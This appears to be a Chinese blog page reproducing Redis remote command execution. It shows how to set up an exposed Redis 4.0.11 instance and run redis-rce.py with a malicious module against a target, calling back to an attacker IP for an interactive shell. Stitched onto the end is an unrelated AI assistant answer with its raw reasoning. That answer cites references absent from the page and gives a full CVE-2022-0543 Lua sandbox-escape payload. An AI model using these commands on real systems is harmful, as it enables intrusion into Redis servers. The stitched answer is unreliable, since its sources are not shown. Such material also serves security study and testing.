漏洞复现---Redis 远程命令执行漏洞复现

部署运行你感兴趣的模型镜像

0x00 Redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

0x01 搭建漏洞环境

Poc下载链接:poc
.so编译文件下载链接:RedisModules-ExecuteCommand
环境搭建参考链接:https://blog.youkuaiyun.com/buyueliuying/article/details/82316517
以Redis 4.0.11为例。
攻击机:kali 192.168.58.128
Redis主机:kali 192.168.58.131
影响范围:redis4.x、5.x
1)Kali下载Redis包:

Wget download.redis.io/releases/redis-4.0.11.tar.gz

在这里插入图片描述
2)解压

tar xzvf redis-4.0.11.tar.gz

在这里插入图片描述
3)make安装
进入/usr/local/目录中建立redis目录;

make PREFIX=/usr/local/redis install

在这里插入图片描述
安装完成。
在这里插入图片描述
4)检查安装是否有问题

make test

在这里插入图片描述
如果提示 You need tcl 8.5 or newer in order to run the Redis test
需要安装tcl解决:yum -y install tcl

5)拷贝源码中的redis.conf到/usr/local/redis中

cp /redis-4.0.11/redis.conf /usr/local/redis

进入redis目录

cd /usr/local/redis

修改redis.conf中的以下参数:
①找到bind 127.0.0.1并注释掉;
②修改protected-mode属性值为no;
(redis默认是只能本地访问,注释掉并且将保护模式禁用以后可以通过IP访问)
③修改daemonize no为daemonize yes,标识redis以后台方式启动
6)服务端启动服务

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

在这里插入图片描述
7)启动客户端连接并测试

/usr/local/redis/bin/redis-cli

在这里插入图片描述
【停止redis服务–> /usr/local/redis/bin/redis-cli shutdown或者 kill `pidof redis-server`】
【通过Linux命令调用窗口文件目录,适用于中文版Linux–>gnome-open /etc或者在Ubuntu中使用 nautilus /etc】
【测试 redis-cli -h 服务器ip -p 6379 -a 密码(例:redis-cli -h 192.168.1.1 -p 6379 -a 123)】
【开放6379端口:/sbin/iptables -I INPUT -p tcp --dport 6379 -j ACCEPT 然后重启redis】
【查看开启的端口:netstat -lntp】
【测试ip端口能否访问: wget ip:port】

0x02 攻击

在攻击者kali机中下载 RedisModules-ExecuteCommand,下载地址:
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
1)下载.so编译文件

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

进入RedisModules-ExecuteCommand目录中,直接make编译
在这里插入图片描述
2)编译后的module.so文件存在src目录下,复制到poc目录下
在这里插入图片描述
这里解释下,poc包里的exp_lin.so和module.so其实是同一个文件,在攻击过程中也可以使用exp_lin.so文件,这里只是说明此文件生成过程。
在这里插入图片描述
3)跑一下poc

Python redis-rce.py -r 目标机ip -L 攻击机ip -f module.so

选择i进入交互模式。
在这里插入图片描述
=【请勿用于非法攻击!!!】=

您可能感兴趣的与本文相关的镜像

Python3.10

Python3.10

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

<think>首先,用户查询的是关于“Redis Lua引擎越界读取漏洞(CVE-2025-46819)”的详细复现教程。但检查提供的引用和我的知识库,这个CVE编号似乎不存在。已知的引用中提到的是: - CVE-2024-46981:Redis Lua远程代码执行漏洞 - CVE-2024-51741:Redis拒绝服务漏洞 - CVE-2022-0543:Redis Lua沙盒绕过命令执行漏洞 用户提到了CVE-2025-46819,但这不是标准格式。CVE编号通常是像CVE-Year-Number的形式。2025的CVE可能尚未发布或存在错误。引用中没有提到CVE-2025-46819;用户可能误读了或这是个虚构的漏洞。 回顾用户消息:"我想获取Redis Lua引擎越界读取漏洞(CVE - 2025 - 46819)的详细复现教程"。在引用中,没有直接匹配的。引用[1]提到CVE-2024-46981是远程代码执行,CVE-2022-0543是沙盒绕过命令执行。 可能的错误来源: - 用户可能混淆了CVE编号。例如,CVE-2024-46981涉及Lua,但它是代码执行,不是越界读取。 - 越界读取(Out-of-Bounds Read)是一种漏洞类型,但具体到Redis Lua引擎,在提供的引用中没有明确提到。 引用[3]和[4]提到CVE-2022-0543是沙盒绕过导致命令执行,涉及使用package加载库执行命令。 用户的需求是针对CVE-2025-46819的复现教程,但这个漏洞不存在于引用中。我需要基于真实信息回应。 我的回应策略: 1. **澄清漏洞不存在或错误**:明确指出CVE-2025-46819未在引用中提到,可能是个错误。建议检查正确的CVE编号。 2. **提供相关漏洞信息**:既然用户提到“Redis Lua引擎越界读取”,我可以基于已知漏洞如CVE-2024-46981或CVE-2022-0543提供信息。但这些是RCE,不是读越界。 - CVE-2024-46981:Lua远程代码执行。 - CVE-2022-0543:Lua沙盒绕过命令执行。 引用[4]有复现命令:使用eval执行恶意Lua脚本。 引用[3]有步骤:连接Redis,输入特定eval命令。 3. **生成相关问题**:根据系统指令,需要在回答中生成相关问题。这些可以基于主题如Redis安全、漏洞复现等。 4. **格式遵守**: - 使用$...$ for inline math (but probably not needed here as it's about vulnerabilities). - Independent formulas with $$...$$ if any. - Correct LaTeX syntax. - Answer in Chinese. - Add reference identifiers naturally. 5. **结构化回答**:回应应结构化,帮助用户逐步解决问题。 Outline of my response: - **Acknowledge query**: State what user asked for. - **Clarify issue**: Explain that CVE-2025-46819 is not found in references, suggesting it might be a mistake or different vulnerability. - **Provide alternative information**: Since user mentioned "Redis Lua引擎越界读取", I'll discuss related vulnerabilities like CVE-2024-46981 or CVE-2022-0543, providing a brief overview or partial tutorial based on references. - **Give a sample tutorial**: Based on references, I can outline how to reproduce a similar Lua vulnerability, e.g., using the commands from ref [4]. But I must note it's for a different CVE. - **End with generated questions**: As per system instruction. References to use: - Ref [1]: CVE-2024-46981 details. - Ref [2]: CVE-2022-0543 description. - Ref [3] and [4]: Reproduction steps for CVE-2022-0543. Specific from ref [4]: The eval command to run arbitrary commands. Reproduction tutorial outline (for CVE-2022-0543 or similar, not for the user's CVE): 1. Setup vulnerable Redis instance on Debian/Ubuntu with Lua enabled. 2. Connect using a tool like Another Redis Desktop Manager. 3. Run eval command with malicious Lua script to execute system commands. Example command from ref [4]: eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 For user's query about "越界读取" (out-of-bounds read), I don't have direct info. Perhaps it's a different vulnerability. I should advise that based on available data. Ensure reliability: I'll state that the requested CVE isn't referenced, and provide guidance on known vulnerabilities. Finally, generate related questions. Response in Chinese, as required. </think>### Redis Lua引擎越界读取漏洞(CVE-2025-46819)相关信息说明 首先,感谢您的查询。我仔细检查了您提供的站内引用([^1], [^2], [^3], [^4]),这些引用涉及多个Redis Lua相关漏洞(如CVE-2024-46981、CVE-2024-51741和CVE-2022-0543),但 **未提及CVE-2025-46819**。CVE(Common Vulnerabilities and Exposures)编号是基于年份和序列号的标准格式,而2025年的CVE漏洞尚未发布或可能不存在。根据现有信息,这可能是一个误写或混淆的编号。Redis历史上常见的Lua引擎漏洞主要包括远程代码执行(RCE)或沙盒绕过类型(如CVE-2022-0543),并非直接涉及“越界读取”。 “越界读取”(Out-of-Bounds Read)漏洞通常指程序访问内存区域超出预期边界,可能导致信息泄露或崩溃。但在Redis Lua环境中,此类漏洞较少见。引用中提到的CVE-2024-46981(远程代码执行)和CVE-2022-0543(沙盒绕过命令执行)均属于高危漏洞,利用Lua脚本功能实现攻击。如果您指的是类似漏洞,我可以基于现有引用提供相关复现教程作为参考。 ### 基于已知Redis Lua漏洞复现教程概述 虽然CVE-2025-46819未被确认,但以下是针对Redis Lua引擎常见漏洞(如CVE-2022-0543沙盒绕过命令执行漏洞)的详细复现教程。此教程基于引用[^3]和[^4],适用于模拟环境(如测试实验室),请勿用于生产系统。 #### 漏洞背景 - **漏洞名称**: Redis Lua沙盒绕过命令执行漏洞 (CVE-2022-0543) - **影响版本**: Redis 2.2至6.2.5(在Debian或Ubuntu系统上),需开启Lua脚本功能[^2][^3]。 - **原理**: Debian/Ubuntu打包Redis时在Lua沙箱中遗留`package`对象,攻击者可利用其加载动态链接库(如`liblua.so`),绕过沙箱执行任意系统命令。 - **利用条件**: 攻击者需有执行`EVAL`或`EVALSHA`命令的权限(例如,Redis未配置访问控制或认证)[^4]. #### 复现步骤(详细教程) 1. **环境准备**: - 安装漏洞版本Redis: 使用Ubuntu系统(如Ubuntu 20.04),安装Redis 6.0或更低版本(例如,通过APT: `sudo apt-get install redis-server=5:6.0.15-1ubuntu1`)。 - 确保Lua脚本功能开启(默认开启)。检查Redis配置: `redis-cli config get enable-lua` 应返回`enable-lua yes`[^3]。 - 禁用Redis认证(用于测试): 修改`/etc/redis/redis.conf`,设置`protected-mode no` 和 `requirepass ""`(空密码),然后重启Redis: `sudo systemctl restart redis-server`[^2]。 2. **漏洞复现过程**: - 连接Redis服务器: 使用命令行工具或图形工具(如Another Redis Desktop Manager)。 ```bash redis-cli -h 127.0.0.1 -p 6379 ``` - 执行恶意Lua脚本: 使用`EVAL`命令注入代码。以下脚本示例演示如何执行系统命令(如`id`获取用户信息),引用自[^4]: ```lua eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 ``` - **解释**: - `package.loadlib`加载`liblua5.1.so.0`库(路径可能因系统而异,需确认)。 - `io.popen`执行系统命令(此处为`id`),读取结果并返回。 - `0`表示脚本参数数量(无参数)。 - **预期结果**: 如果漏洞存在,Redis服务器将返回命令输出(如UID和GID信息),证明沙箱被绕过[^4]。 3. **验证漏洞**: - 成功时,输出类似`"uid=1000(redis) gid=1000(redis) groups=1000(redis)\n"`。 - 如果失败,检查: - Redis日志 (`/var/log/redis/redis-server.log`) 是否有错误。 - 确认库路径: 在Ubuntu系统中,使用`find /usr -name liblua5.1.so.0`定位正确路径[^3]。 4. **安全注意事项**: - **仅用于教育目的**: 在隔离测试环境(如Docker容器)中复现,避免影响真实系统。 - 处置建议: - 升级Redis至安全版本(如7.2.x或7.4.x)以修复相关漏洞[^1]。 - 禁用Lua脚本: 通过ACL规则阻止`EVAL`和`EVALSHA`命令[^1]。 - 加固措施: 配置Redis访问控制(设置强密码),限制可执行命令的IP地址[^1]. #### 针对“越界读取”的额外说明 如果您确实需要“越界读取”类型漏洞复现,目前Redis公开漏洞中以RCE为主。建议关注官方安全公告或权威源(如CVE数据库)。如果CVE-2025-46819是未来漏洞,建议等待官方发布后再查询详细教程。 ### 相关问题 根据Redis安全漏洞主题,生成了以下问题供进一步探讨: 1. 如何检测Redis服务器是否易受Lua脚本漏洞影响? 2. 除了升级和禁用Lua,还有哪些Redis安全加固的最佳实践? 3. Redis漏洞复现中,如何使用Docker创建隔离测试环境?
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北境L

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值